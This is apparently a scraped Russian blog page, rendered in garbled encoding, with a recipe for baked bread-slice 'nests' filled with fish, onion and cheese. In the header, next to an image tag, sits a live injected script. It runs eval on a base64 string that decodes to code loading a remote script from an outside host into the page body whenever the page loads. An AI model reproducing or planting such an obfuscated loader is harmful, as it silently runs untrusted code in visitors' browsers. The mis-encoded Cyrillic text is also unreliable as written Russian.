Áåç çàãîëîâêà. Îáñóæäåíèå íà <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1kaWUiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
«Ãíåçäûøêè» èç áàòîíà ñ ðûáíîé íà÷èíêîé
ÈÍÃÐÅÄÈÅÍÒÛ:
ôèëå ðûáû 500 ã
ìîëîêî 500 ìë
áàòîí 400 ã
ëóê ðåï÷àòûé 200 ã
ñûð òâåðäûé 150 ã
ïåðåö ÷åðíûé ìîëîòûé
ìàñëî ðàñòèòåëüíîå
ìàéîíåç
çåëåíü
ñîëü
ÏÐÈÃÎÒÎÂËÅÍÈÅ:
1 Ìåëêî íàðåçàòü ôèëå ñóäàêà è ðåï÷àòûé ëóê, çåëåíü. Íàòåðåòü òâåðäûé ñûð. Âñ¸ ñìåøàòü, ñîëü, ïåðåö – ïî âêóñó. Íàðåçàòü áàòîí êðóæî÷êàìè ïî äâà ñàíòèìåòðà òîëùèíîé, ëó÷øå, åñëè îí áóäåò íåìíîãî ïîäñîõøèì. Ïðîïèòàòü ìîëîêîì, îòæàòü, âûëîæèòü â ñìàçàííóþ ìàñëîì ôîðìó.
2  êðóæêàõ ñäåëàòü óãëóáëåíèÿ: ïðèìÿòü ïàëüöàìè ìîêðûé ìÿêèø. Âûëîæèòü ïî ëîæêå ðûáíîé íà÷èíêè, âåðõ ñìàçàòü ìàéîíåçîì. Ïå÷ü â äóõîâêå 40–45 ìèíóò ïðè òåìïåðàòóðå 180 ãðàäóñîâ. Ïî÷òè ãîòîâûå áóòåðáðîäû ïîñûïàòü ñûðîì è äîïå÷ü åùå 5–7 ìèíóò, äî ïîäðóìÿíèâàíèÿ. Ïðè ïîäà÷å «Ãíåçäûøêè» èç áàòîíà ñ ðûáíîé íà÷èíêîé óêðàñèòü ëèñòèêàìè ñâåæåé ïåòðóøêè, óêðîïà.
http://vkuso.ru
| « Ïðåä. çàïèñü — Ê äíåâíèêó — Ñëåä. çàïèñü » | Ñòðàíèöû: [1] [Íîâûå] |